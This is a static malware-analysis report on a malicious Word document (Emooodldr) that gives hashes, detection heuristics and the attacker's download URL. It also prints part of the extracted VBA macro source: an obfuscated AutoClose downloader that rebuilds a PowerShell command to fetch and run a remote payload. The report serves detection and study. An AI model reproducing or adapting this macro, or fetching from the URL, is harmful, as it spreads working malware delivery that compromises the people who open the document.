Emooodldr — Office (OOXML) malware analysis

Static analysis result for SHA-256 2ec2cf27a1b5e1af…

MALICIOUS

Office (OOXML)

60.5 KB Created: 2017-11-29 23:43:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-08-04
MD5: 789336e5f87687eda0f9b1a57a8c10f3 SHA-1: 4b448b69ff6d34397beacc4e18dd79c40d5004f2 SHA-256: 2ec2cf27a1b5e1af7b771fff66d00ccfb8a5584c8f2867519f7fb8c9dbb7dbe4
264 Risk Score

Malware Insights

Emooodldr · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature Doc.Malware.Emooodldr-6711604-0. Static analysis revealed VBA macros, specifically an AutoClose macro that calls CreateObject to execute a downloaded payload. The script attempts to download a file from 'http://yyqakuvunggjqidojzxqkuixnvwjuzv.com/REX/unlock.doc.doc?uid=nordc' and execute it, indicating a downloader functionality.

Heuristics 7

  • ClamAV: Doc.Malware.Emooodldr-6711604-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emooodldr-6711604-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 5578 bytes
SHA-256: 446f4dbdd2e69c406e64c53dd8932f77927f8f4efc8f5c136c388b4ffd1791c4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoClose()
  dgyovqqfjxx = Val("3125")
ivvzrgnvgwf = "juqcfgvwngy" + "" + "" + "byzcffr"
  Application.Run "cqdgynwycndyvwc"
  qkwwxonb = "fkvckxbuoqyxwjicyuwocggvco" + ""
xcywgvfz = "kckgwy" + "dqddbw" + "qwzkig" + "krwjzky"
End Sub

Sub cqdgynwycndyvwc()
 nfrqfizfqxf = "xjq" + "" + "qnddcvbcd"
dvfnnoq = Val("4449")
 kfycfwnvvkcoc = "vfnfgqyvfzojowgnxnkxdjxzcyrunggjqidojzxhgnxnkxdjxzcyll.gnxnkxdjxzcyxgnxnkxdjxzcy -Exgnxnkxdjxzcyc Byvfnfgqyvfzojqkuixnvwjuzvunggjqidojzxunggjqidojzx -NoP -NoExigcrkvgzwyqxb -Coiuruongojfgqiuruongojfgqqkuixnvwjuzvnd  ignxnkxdjxzcyx((Ngnxnkxdjxzcyw-Objgnxnkxdjxzcycgcrkvgzwyqxb Syunggjqidojzxgcrkvgzwyqxbgnxnkxdjxzcyiuruongojfgq.Ngnxnkxdjxzcygcrkvgzwyqxb.WgnxnkxdjxzcybClignxnkxdjxzcyngcrkvgzwyqxb).DownloqkuixnvwjuzvdSgcrkvgzwyqxbring('hgcrkvgzwyqxbgcrkvgzwyqxbvfnfgqyvfzoj://yyqkuixnvwjuzvunggjqidojzxdhwdqkuixnvwjuzvhwdqkuixnvwjuzvunggjqidojzxdunggjqidojzxqkuixnvwjuzv.coiuruongojfgq/REX/unggjqidojzxlick.vfnfgqyvfzojhvfnfgqyvfzoj?ugcrkvgzwyqxbiuruongojfgqqkuixnvwjuzv=nordc'))"
kfycfwnvvkcoc = ivxjjfrnzrjnwknqc(kfycfwnvvkcoc, "iuruongojfgq", "m")
yibnfjkxrknx = "bjjfzfduzjyzvfddonwwcqkzqkxj" + "zwywknwuxzviwzcdkvuff"
obxwizgo = Val("3604")
woujywvb = -183
kfycfwnvvkcoc = ivxjjfrnzrjnwknqc(kfycfwnvvkcoc, "qkuixnvwjuzv", "a")
qqndovo = "oqbckbbxikzxogbjykvzxkfzd" + "djiq" + "" + "wbwi"
kwijgxoqf = -225
jjgrycfwz = 4548
ivrwyfgrbzd = 2730
cnuijxcwnkkn = "" + "bqjgq" + "qbwdbnuydfczwfoc"
quocbxjjqign = 3385
kfycfwnvvkcoc = ivxjjfrnzrjnwknqc(kfycfwnvvkcoc, "unggjqidojzx", "s")
kogkigzod = "uroudzqqqznr" + "zuxgcgzqfucrxrrydkkkr" + "kooidxcdxwibfdkng"
iobbyrnfxc = 1365
uqwxgrfj = "izcrvrqvnzvqdndgbxqi" + "" + "" + "oqnykkbqc"
yknyynqk = Val("-731")
kfycfwnvvkcoc = ivxjjfrnzrjnwknqc(kfycfwnvvkcoc, "gcrkvgzwyqxb", "t")
rvvyowuvccnq = Val("-687")
duxbcrbdr = 4357
kiryxcfkvzg = "wczkbcfd" + "xbfcwd" + "gyvkfg" + "vnzdgyzkjcnnyn"
kfycfwnvvkcoc = ivxjjfrnzrjnwknqc(kfycfwnvvkcoc, "gnxnkxdjxzcy", "e")
ijujfvbjnbxc = 1323
zzujvjoyucg = "qncuxwziogicqi" + "fvbfjvkfzcikrkd" + ""
guxdjguxkri = Val("-188")
bzzjugdnvdo = -617
djnvkznoynq = Val("3060")
doxygjkwd = "dogjnwgxdcbdnwungzwoxconfbjd" + "" + "" + "xcijxonxjkwyunj"
kfycfwnvvkcoc = ivxjjfrnzrjnwknqc(kfycfwnvvkcoc, "vfnfgqyvfzoj", "p")
vvrfxqfzo = "gvxwqdrgoovykvfn" + "yfviybrnqrwx" + "" + "" + ""
uxirfrvdodq = "cr" + "xugyqv"
dfukfkggkk = "" + "" + "" + ""
cvyvivbn = -541
yiqnkrdfccz = "qbiwyq" + "qvjdcv" + "cokbwnn" + "knovcufz" + "rkorow"
yqkuvqg = Val("1781")
rkxboycxnznrxc = "WScriubkqzvqzjwvcbfgidciyduvx.Shrdyggjwyqovvll"
rkxboycxnznrxc = ivxjjfrnzrjnwknqc(rkxboycxnznrxc, "dnvrucgjnqrk", "m")
yibnfjkxrknx = "bjjfzfduzjyzvfddonwwcqkzqkxj" + "zwywknwuxzviwzcdkvuff"
rkxboycxnznrxc = ivxjjfrnzrjnwknqc(rkxboycxnznrxc, "cyqrifqrbbfz", "a")
qqndovo = "oqbckbbxikzxogbjykvzxkfzd" + "djiq" + "" + "wbwi"
kwijgxoqf = -225
uwozcqu = "bj" + "xwnjdcjfdy" + "jyxwcqy" + "kozuriycofkxjo" + "kdxvgbbnbxkqfvg" + "grdurwj"
ndbcrkxkuxdr = 4980
rkxboycxnznrxc = ivxjjfrnzrjnwknqc(rkxboycxnznrxc, "cfgqudvzdqqu", "s")
kogkigzod = "uroudzqqqznr" + "zuxgcgzqfucrxrrydkkkr" + "kooidxcdxwibfdkng"
iobbyrnfxc = 1365
uqwxgrfj = "izcrvrqvnzvqdndgbxqi" + "" + "" + "oqnykkbqc"
rkxboycxnznrxc = ivxjjfrnzrjnwknqc(rkxboycxnznrxc, "bfgidciyduvx", "t")
rvvyowuvccnq = Val("-687")
duxbcrbdr = 4357
rkxboycxnznrxc = ivxjjfrnzrjnwknqc(rkxboycxnznrxc, "rdyggjwyqovv", "e")
ijujfvbjnbxc = 1323
zzujvjoyucg = "qncuxwziogicqi" + "fvbfjvkfzcikrkd" + ""
guxdjguxkri = Val("-188")
zwqrqrunr = 672
nzkyddoqzn = "boinywgzwkk" + "iniobn"
rkxboycxnznrxc = ivxjjfrnzrjnwknqc(rkxboycxnznrxc, "ubkqzvqzjwvc", "p")
vvrfxqfzo = "gvxwqdrgoovykvfn" + "yfviybrnqrwx" + "" + "" + ""
uxirfrvdodq = "cr" + "xugyqv"
dfukfkggkk = "" + "" + "" + ""
qbkrxnkfxnyq = "dyxjnzdqfzznnwgr
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 21504 bytes
SHA-256: cf3740a8fe9a7fe6d132c39348f116521db8f4e49173fee115acea3c6acd8a2d
Detection
ClamAV: Doc.Malware.Emooodldr-6711604-0
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).

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